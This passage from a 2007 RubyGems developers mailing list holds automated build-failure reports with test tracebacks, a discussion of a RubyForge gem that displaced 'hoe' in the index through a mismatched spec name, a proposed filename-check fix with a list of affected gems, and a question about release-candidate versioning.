./test/gemenvironment.rb:46:in `create' ./lib/rubygems/user_interaction.rb:45:in `use_ui' ./lib/rubygems/user_interaction.rb:27:in `use_ui' ./test/gemenvironment.rb:35:in `create' ./test/gemenvironment.rb:23:in `create' ./test/test_require_gem.rb:14:in `setup' 18) Error: test_redundent_requires(TestRequireGem): TypeError: can't convert nil into Array ./test/test_require_gem.rb:22:in `replace' ./test/test_require_gem.rb:22:in `teardown' 19) Error: test_require(TestRequireGem): Gem::InstallError: attempt to install file into "lib/code.rb" ./lib/rubygems/installer.rb:359:in `extract_files' ./lib/rubygems/installer.rb:351:in `extract_files' ./lib/rubygems/installer.rb:93:in `install' ./test/gemenvironment.rb:46:in `create' ./lib/rubygems/user_interaction.rb:45:in `use_ui' ./lib/rubygems/user_interaction.rb:27:in `use_ui' ./test/gemenvironment.rb:35:in `create' ./test/gemenvironment.rb:23:in `create' ./test/test_require_gem.rb:14:in `setup' 20) Error: test_require(TestRequireGem): TypeError: can't convert nil into Array ./test/test_require_gem.rb:22:in `replace' ./test/test_require_gem.rb:22:in `teardown' 294 tests, 1000 assertions, 2 failures, 18 errors ./test/test_require_gem.rb:22: warning: instance variable @old_path not initialized ./test/test_require_gem.rb:22: warning: instance variable @old_path not initialized ./test/test_require_gem.rb:22: warning: instance variable @old_path not initialized ./test/test_require_gem.rb:22: warning: instance variable @old_path not initialized rake aborted! Command failed with status (1): [c:/PROGRA~1/ruby/bin/ruby -w -Ilib "c:/PRO...] (See full trace by running task with --trace) -- Cerberus 0.3.3, http://cerberus.rubyforge.org/ From tom at infoether.com Sun Jan 14 21:40:31 2007 From: tom at infoether.com (Tom Copeland) Date: Sun, 14 Jan 2007 21:40:31 -0500 Subject: [Rubygems-developers] Gem indexing problem on RubyForge Message-ID: <1168828831.24095.147.camel@bugs.hal> Hi all - You've probably all seen the ruby-talk traffic about the RubyForge problem that cropped up this weekend. Someone released a gem with a spec.full_name (hoe-1.1.7) that didn't match the filename (devotion-0.1.gem) and got itself placed in the gem index in the place of hoe. Sadness ensued. I figure the easiest way to fix this - at least temporarily, so we can restart the RubyForge gem deployment cronjob - is to disallow deploying any gem where full_name != file name: ---------------- file_name = "/var/www/gems/gems/foo-4.2.gem" spec = Gem::Format.from_file_by_path(file_name).spec deploy if file_name =~ /\/#{spec.full_name}.gem$/ ---------------- This is going to affect about 40 gems. I've attached the test program and the list to the bottom of this email. Looks like it's mostly operating-system-specific gems. Any comments/objections regarding this change would be greatly appreciated... Thanks, Tom $ cat check_for_misnamed_gems.rb && ruby check_for_misnamed_gems.rb #!/usr/local/bin/ruby require 'rubygems' Gem.manage_gems Dir.glob("/var/www/gems/gems/*.gem").each do |f| begin unless f =~ /\/#{Gem::Format.from_file_by_path(f).spec.full_name}.gem$/ puts "BAD: #{f}" end rescue Exception => e puts "Skipping #{f}" end end BAD: /var/www/gems/gems/payment-1.0.0.gem BAD: /var/www/gems/gems/rdf-redland-ruby-0.5.gem BAD: /var/www/gems/gems/crypt-isaac_0.9.1.gem BAD: /var/www/gems/gems/rubilicious-0.1.4.gem BAD: /var/www/gems/gems/wxruby2-preview-0.0.36-i686-darwin.gem BAD: /var/www/gems/gems/marc-0.1.gem BAD: /var/www/gems/gems/imlib2-ruby-0.5.1.gem BAD: /var/www/gems/gems/re-0.9.gem BAD: /var/www/gems/gems/fam-ruby-0.1.4.gem BAD: /var/www/gems/gems/rubidium-0.2.0.gem BAD: /var/www/gems/gems/ruby_ex-0.4_alpha1.gem BAD: /var/www/gems/gems/rubilicious-0.2.0.gem BAD: /var/www/gems/gems/freshmeat-ruby-0.1.0.gem BAD: /var/www/gems/gems/fxruby-1.4.7-ruby1.8.4-mswin32.gem BAD: /var/www/gems/gems/fireruby_0.4.1_powerpc_darwin.gem BAD: /var/www/gems/gems/fam-ruby-0.2.0.gem BAD: /var/www/gems/gems/mb-ruby-0.2.1.gem BAD: /var/www/gems/gems/ajax_scaffold-2.2.1.gem BAD: /var/www/gems/gems/joystick-ruby-0.1.0.gem BAD: /var/www/gems/gems/xmms-ruby-0.1.2.gem BAD: /var/www/gems/gems/uttk-0.3_alpha1.gem BAD: /var/www/gems/gems/rubilicious-0.1.5.gem BAD: /var/www/gems/gems/wxruby2-preview-0.0.35-i686-darwin.gem BAD: /var/www/gems/gems/fxruby-1.4.7-ruby1.8.5-mswin32.gem BAD: /var/www/gems/gems/iterator-0.5fix.gem BAD: /var/www/gems/gems/pippin-0.1b.gem BAD: /var/www/gems/gems/activesalesforce-0.0.1.gem BAD: /var/www/gems/gems/mb-ruby-0.3.0.gem BAD: /var/www/gems/gems/fxruby-1.2.6-mswin32-ruby1.8.4.gem BAD: /var/www/gems/gems/fxruby-1.6.3-ruby1.8.4-mswin32.gem BAD: /var/www/gems/gems/fxruby-1.6.2-ruby1.8.4-mswin32.gem BAD: /var/www/gems/gems/fireruby_0.4.0_powerpc_darwin.gem Skipping /var/www/gems/gems/Pn4-0.1.0-win32-1.8.4-VC6.gem BAD: /var/www/gems/gems/icu4r-0.1.3.2006.01.26-mswin32.gem BAD: /var/www/gems/gems/imlib2-ruby-0.4.3.gem Skipping /var/www/gems/gems/plugin_dependencies-1.2.0.gem BAD: /var/www/gems/gems/mb-ruby-0.1.0.gem BAD: /var/www/gems/gems/icu4r-0.1.4.2006.05.29-mswin32.gem BAD: /var/www/gems/gems/syndic8-ruby-0.2.0.gem BAD: /var/www/gems/gems/fxruby-1.6.2-ruby1.8.5-mswin32.gem BAD: /var/www/gems/gems/evdbapi-current.gem BAD: /var/www/gems/gems/evdb-current.gem BAD: /var/www/gems/gems/wxruby2-preview-0.0.35-powerpc-darwin.gem BAD: /var/www/gems/gems/eventmachine-0.5.3-mswin32.gem BAD: /var/www/gems/gems/fireruby-0.4.1-x86-64-linux.gem From thewoolleyman at gmail.com Mon Jan 15 12:10:25 2007 From: thewoolleyman at gmail.com (Chad Woolley) Date: Mon, 15 Jan 2007 10:10:25 -0700 Subject: [Rubygems-developers] How do you indicate a post-1.0 release candidate gem version? Message-ID: Hi, There's an interesting thread on the Mongrel Users list, where a Debian package manager is asking questions about RubyGem's versioning standards. Here's my last post which I think summarizes most of it: http://rubyforge.org/pipermail/mongrel-users/2007-January/002694.html Basically, the question is - how do you specify a release candidate version for a version that is post 1.0? Specifically, if people are automatically pulling all the latest version of a gem (">= 1.0.0"), how can they say "I ONLY want stable releases, not alpha versions or release candidates"? Does RubyGems support any version numbering (or version specifications) other than the "[(in)equality operator] x[.y.z]" pattern, where x, y, and z are numeric? If not, is this an unnecessary limitation? What are workarounds? -- Chad From drbrain at segment7.net Mon Jan 15 15:58:38 2007 From: drbrain at segment7.net (Eric Hodel) Date: Mon, 15 Jan 2007 12:58:38 -0800 Subject: [Rubygems-developers] Gem indexing problem on RubyForge In-Reply-To: <1168828831.24095.147.camel@bugs.hal> References: <1168828831.24095.147.camel@bugs.hal> Message-ID: <068C77A2-CD6E-45DD-84C7-E70B05244C97@segment7.net> On Jan 14, 2007, at 18:40, Tom Copeland wrote: > You've probably all seen the ruby-talk traffic about the > RubyForge problem that cropped up this weekend. Someone released a > gem > with a spec.full_name (hoe-1.1.7) that didn't match the filename > (devotion-0.1.gem) and got itself placed in the gem index in the place > of hoe. Sadness ensued. > > I figure the easiest way to fix this - at least temporarily, so we can > restart the RubyForge gem deployment cronjob - is to disallow > deploying > any gem where full_name != file name: > > ---------------- > file_name = "/var/www/gems/gems/foo-4.2.gem" > spec = Gem::Format.from_file_by_path(file_name).spec > deploy if file_name =~ /\/#{spec.full_name}.gem$/ > ---------------- Could the regex be relaxed to /\/#{spec.full_name}.*\.gem$/ ? (As part of the platform fix, I'm imagining making a non-ruby gems' full name include their platform, something like "myproj-1.0- mswin32.gem") > This is going to affect about 40 gems. I've attached the test program > and the list to the bottom of this email. Looks like it's mostly > operating-system-specific gems. I count 28 apparently non-platform gems. Is it easy to tell how active these projects are? Can the authors be persuaded to rerelease? Can the gems be renamed without harm? > BAD: /var/www/gems/gems/payment-1.0.0.gem > BAD: /var/www/gems/gems/rdf-redland-ruby-0.5.gem > BAD: /var/www/gems/gems/crypt-isaac_0.9.1.gem > BAD: /var/www/gems/gems/rubilicious-0.1.4.gem > BAD: /var/www/gems/gems/marc-0.1.gem > BAD: /var/www/gems/gems/imlib2-ruby-0.5.1.gem > BAD: /var/www/gems/gems/re-0.9.gem > BAD: /var/www/gems/gems/fam-ruby-0.1.4.gem > BAD: /var/www/gems/gems/rubidium-0.2.0.gem > BAD: /var/www/gems/gems/ruby_ex-0.4_alpha1.gem > BAD: /var/www/gems/gems/rubilicious-0.2.0.gem > BAD: /var/www/gems/gems/freshmeat-ruby-0.1.0.gem > BAD: /var/www/gems/gems/fam-ruby-0.2.0.gem > BAD: /var/www/gems/gems/mb-ruby-0.2.1.gem > BAD: /var/www/gems/gems/ajax_scaffold-2.2.1.gem > BAD: /var/www/gems/gems/joystick-ruby-0.1.0.gem > BAD: /var/www/gems/gems/xmms-ruby-0.1.2.gem > BAD: /var/www/gems/gems/uttk-0.3_alpha1.gem > BAD: /var/www/gems/gems/rubilicious-0.1.5.gem > BAD: /var/www/gems/gems/iterator-0.5fix.gem > BAD: /var/www/gems/gems/pippin-0.1b.gem > BAD: /var/www/gems/gems/activesalesforce-0.0.1.gem > BAD: /var/www/gems/gems/mb-ruby-0.3.0.gem > BAD: /var/www/gems/gems/imlib2-ruby-0.4.3.gem > BAD: /var/www/gems/gems/mb-ruby-0.1.0.gem > BAD: /var/www/gems/gems/syndic8-ruby-0.2.0.gem > BAD: /var/www/gems/gems/evdbapi-current.gem > BAD: /var/www/gems/gems/evdb-current.gem -- Eric Hodel - drbrain at segment7.net - http://blog.segment7.net YOU LIT MY GEM ON FIRE! From anatol.pomozov at gmail.com Mon Jan 15 16:02:38 2007 From: anatol.pomozov at gmail.com (Cerberus) Date: Tue, 16 Jan 2007 00:02:38 +0300 Subject: [Rubygems-developers] [rubygems] Build broken by drbrain (#1196) Message-ID: <45abebee0_1141741a2a1d7@ubuntu.tmail> ------------------------------------------------------------------------ r1196 | drbrain | 2007-01-15 10:50:35 +0300 | 1 line Changed paths: M /trunk/ChangeLog M /trunk/lib/rubygems/source_info_cache.rb FileUtils is required, so require it ------------------------------------------------------------------------ (in C:/Documents and Settings/anatol/.cerberus/work/rubygems/sources) require_gem is obsolete. Use gem instead. Loaded suite c:/PROGRA~1/ruby/lib/ruby/gems/1.8/gems/rake-0.7.1/lib/rake/rake_test_loader Started .........................................................................FFEEE.............................................................EE............EEEEEE...............EEEEEEEE.................................................................................................................... Finished in 53.265 seconds. 1) Failure: test_class_build(TestGemExtRakeBuilder) [./test/test_gem_ext_rake_builder.rb:35]: <["rake RUBYARCHDIR=C:/DOCUME~1/anatol/LOCALS~1/Temp/test_rubygems_3628/prefix RUBYLIBDIR=C:/DOCUME~1/anatol/LOCALS~1/Temp/test_rubygems_3628/prefix extension", "(in C:/DOCUME~1/anatol/LOCALS~1/Temp/test_rubygems_3628/ext)\n"]> expected but was <["rake RUBYARCHDIR=C:/DOCUME~1/anatol/LOCALS~1/Temp/test_rubygems_3628/prefix RUBYLIBDIR=C:/DOCUME~1/anatol/LOCALS~1/Temp/test_rubygems_3628/prefix extension", "(in C:/DOCUME~1/anatol/LOCALS~1/Temp/test_rubygems_3628/ext)\nrequire_gem is obsolete. Use gem instead.\n"]>. 2) Failure: test_class_build_fail(TestGemExtRakeBuilder) [./test/test_gem_ext_rake_builder.rb:45]: exception expected but none was thrown. 3) Error: test_all_load_paths(TestGemLoadPaths): Gem::InstallError: attempt to install file into "lib/code.rb" ./lib/rubygems/installer.rb:359:in `extract_files' ./lib/rubygems/installer.rb:351:in `extract_files' ./lib/rubygems/installer.rb:93:in `install' ./test/gemenvironment.rb:46:in `create' ./lib/rubygems/user_interaction.rb:45:in `use_ui' ./lib/rubygems/user_interaction.rb:27:in `use_ui' ./test/gemenvironment.rb:35:in `create' ./test/gemenvironment.rb:23:in `create' ./test/test_gemloadpaths.rb:20:in `setup' 4) Error: test_latest_load_paths(TestGemLoadPaths): Gem::InstallError: attempt to install file into "lib/code.rb" ./lib/rubygems/installer.rb:359:in `extract_files' ./lib/rubygems/installer.rb:351:in `extract_files' ./lib/rubygems/installer.rb:93:in `install' ./test/gemenvironment.rb:46:in `create' ./lib/rubygems/user_interaction.rb:45:in `use_ui' ./lib/rubygems/user_interaction.rb:27:in `use_ui' ./test/gemenvironment.rb:35:in `create' ./test/gemenvironment.rb:23:in `create' ./test/test_gemloadpaths.rb:20:in `setup' 5) Error: test_required_location(TestGemLoadPaths): Gem::InstallError: attempt to install file into "lib/code.rb" ./lib/rubygems/installer.rb:359:in `extract_files' ./lib/rubygems/installer.rb:351:in `extract_files' ./lib/rubygems/installer.rb:93:in `install' ./test/gemenvironment.rb:46:in `create' ./lib/rubygems/user_interaction.rb:45:in `use_ui' ./lib/rubygems/user_interaction.rb:27:in `use_ui' ./test/gemenvironment.rb:35:in `create' ./test/gemenvironment.rb:23:in `create' ./test/test_gemloadpaths.rb:20:in `setup' 6) Error: test_install_bad_gem(TestInstaller): Errno::EACCES: Permission denied - C:/DOCUME~1/anatol/LOCALS~1/Temp/test_rubygems_3628/gemhome/cache/broken-1.0.0.gem c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1281:in `unlink' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1281:in `remove_file' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1289:in `platform_support' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1280:in `remove_file' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1269:in `remove' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:748:in `remove_entry' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1319:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1323:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1318:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1317:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1318:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1317:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1318:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1317:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:746:in `remove_entry' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:604:in `rm_r' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:600:in `rm_r' ./test/gemutilities.rb:78:in `teardown' 7) Error: test_install_with_message(TestInstaller): Errno::EACCES: Permission denied - C:/DOCUME~1/anatol/LOCALS~1/Temp/test_rubygems_3628/gemhome/cache/broken-1.0.0.gem c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1281:in `unlink' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1281:in `remove_file' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1289:in `platform_support' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1280:in `remove_file' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1269:in `remove' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:748:in `remove_entry' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1319:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1323:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1318:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1317:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1318:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1317:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1318:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1317:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:746:in `remove_entry' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:604:in `rm_r' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:600:in `rm_r' ./test/gemutilities.rb:78:in `teardown' 8) Error: test_explicit_proxy(TestRemoteFetcher): Errno::EACCES: Permission denied - C:/DOCUME~1/anatol/LOCALS~1/Temp/test_rubygems_3628/gemhome/cache/broken-1.0.0.gem c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1281:in `unlink' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1281:in `remove_file' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1289:in `platform_support' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1280:in `remove_file' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1269:in `remove' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:748:in `remove_entry' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1319:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1323:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1318:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1317:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1318:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1317:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1318:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1317:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:746:in `remove_entry' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:604:in `rm_r' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:600:in `rm_r' ./test/gemutilities.rb:78:in `teardown' 9) Error: test_explicit_proxy_with_user_auth(TestRemoteFetcher): Errno::EACCES: Permission denied - C:/DOCUME~1/anatol/LOCALS~1/Temp/test_rubygems_3628/gemhome/cache/broken-1.0.0.gem c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1281:in `unlink' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1281:in `remove_file' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1289:in `platform_support' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1280:in `remove_file' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1269:in `remove' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:748:in `remove_entry' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1319:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1323:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1318:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1317:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1318:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1317:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1318:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1317:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:746:in `remove_entry' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:604:in `rm_r' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:600:in `rm_r' ./test/gemutilities.rb:78:in `teardown' 10) Error: test_explicit_proxy_with_user_auth_in_env(TestRemoteFetcher): Errno::EACCES: Permission denied - C:/DOCUME~1/anatol/LOCALS~1/Temp/test_rubygems_3628/gemhome/cache/broken-1.0.0.gem c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1281:in `unlink' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1281:in `remove_file' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1289:in `platform_support' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1280:in `remove_file' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1269:in `remove' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:748:in `remove_entry' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1319:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1323:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1318:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1317:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1318:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1317:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1318:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1317:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:746:in `remove_entry' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:604:in `rm_r' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:600:in `rm_r' ./test/gemutilities.rb:78:in `teardown' 11) Error: test_fetch_path_io_error(TestRemoteFetcher): Errno::EACCES: Permission denied - C:/DOCUME~1/anatol/LOCALS~1/Temp/test_rubygems_3628/gemhome/cache/broken-1.0.0.gem c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1281:in `unlink' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1281:in `remove_file' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1289:in `platform_support' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1280:in `remove_file' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1269:in `remove' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:748:in `remove_entry' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1319:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1323:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1318:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1317:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1318:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1317:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1318:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1317:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:746:in `remove_entry' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:604:in `rm_r' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:600:in `rm_r' ./test/gemutilities.rb:78:in `teardown' 12) Error: test_fetch_path_socket_error(TestRemoteFetcher): Errno::EACCES: Permission denied - C:/DOCUME~1/anatol/LOCALS~1/Temp/test_rubygems_3628/gemhome/cache/broken-1.0.0.gem c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1281:in `unlink' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1281:in `remove_file' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1289:in `platform_support' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1280:in `remove_file' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1269:in `remove' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:748:in `remove_entry' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1319:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1323:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1318:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1317:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1318:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1317:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1318:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1317:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:746:in `remove_entry' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:604:in `rm_r' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:600:in `rm_r' ./test/gemutilities.rb:78:in `teardown' 13) Error: test_fetch_path_system_call_error(TestRemoteFetcher): Errno::EACCES: Permission denied - C:/DOCUME~1/anatol/LOCALS~1/Temp/test_rubygems_3628/gemhome/cache/broken-1.0.0.gem c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1281:in `unlink' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1281:in `remove_file' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1289:in `platform_support' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1280:in `remove_file' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1269:in `remove' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:748:in `remove_entry' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1319:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1323:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1318:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1317:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1318:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1317:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1318:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1317:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:746:in `remove_entry' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:604:in `rm_r' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:600:in `rm_r' ./test/gemutilities.rb:78:in `teardown' 14) Error: test_conflicting_requires(TestRequireGem): Gem::InstallError: attempt to install file into "lib/code.rb" ./lib/rubygems/installer.rb:359:in `extract_files' ./lib/rubygems/installer.rb:351:in `extract_files' ./lib/rubygems/installer.rb:93:in `install' ./test/gemenvironment.rb:46:in `create' ./lib/rubygems/user_interaction.rb:45:in `use_ui' ./lib/rubygems/user_interaction.rb:27:in `use_ui' ./test/gemenvironment.rb:35:in `create' ./test/gemenvironment.rb:23:in `create' ./test/test_require_gem.rb:14:in `setup' 15) Error: test_conflicting_requires(TestRequireGem): TypeError: can't convert nil into Array ./test/test_require_gem.rb:22:in `replace' ./test/test_require_gem.rb:22:in `teardown' 16) Error: test_overlapping_requires(TestRequireGem): Gem::InstallError: attempt to install file into "lib/code.rb" ./lib/rubygems/installer.rb:359:in `extract_files' ./lib/rubygems/installer.rb:351:in `extract_files' ./lib/rubygems/installer.rb:93:in `install' ./test/gemenvironment.rb:46:in `create' ./lib/rubygems/user_interaction.rb:45:in `use_ui' ./lib/rubygems/user_interaction.rb:27:in `use_ui' ./test/gemenvironment.rb:35:in `create' ./test/gemenvironment.rb:23:in `create' ./test/test_require_gem.rb:14:in `setup' 17) Error: test_overlapping_requires(TestRequireGem): TypeError: can't convert nil into Array ./test/test_require_gem.rb:22:in `replace' ./test/test_require_gem.rb:22:in `teardown' 18) Error: test_redundent_requires(TestRequireGem): Gem::InstallError: attempt to install file into "lib/code.rb" ./lib/rubygems/installer.rb:359:in `extract_files' ./lib/rubygems/installer.rb:351:in `extract_files' ./lib/rubygems/installer.rb:93:in `install' ./test/gemenvironment.rb:46:in `create' ./lib/rubygems/user_interaction.rb:45:in `use_ui' ./lib/rubygems/user_interaction.rb:27:in `use_ui' ./test/gemenvironment.rb:35:in `create' ./test/gemenvironment.rb:23:in `create' ./test/test_require_gem.rb:14:in `setup' 19) Error: test_redundent_requires(TestRequireGem): TypeError: can't convert nil into Array ./test/test_require_gem.rb:22:in `replace' ./test/test_require_gem.rb:22:in `teardown' 20) Error: test_require(TestRequireGem): Gem::InstallError: attempt to install file into "lib/code.rb" ./lib/rubygems/installer.rb:359:in `extract_files' ./lib/rubygems/installer.rb:351:in `extract_files' ./lib/rubygems/installer.rb:93:in `install' ./test/gemenvironment.rb:46:in `create' ./lib/rubygems/user_interaction.rb:45:in `use_ui' ./lib/rubygems/user_interaction.rb:27:in `use_ui' ./test/gemenvironment.rb:35:in `create' ./test/gemenvironment.rb:23:in `create' ./test/test_require_gem.rb:14:in `setup' 21) Error: test_require(TestRequireGem): TypeError: can't convert nil into Array 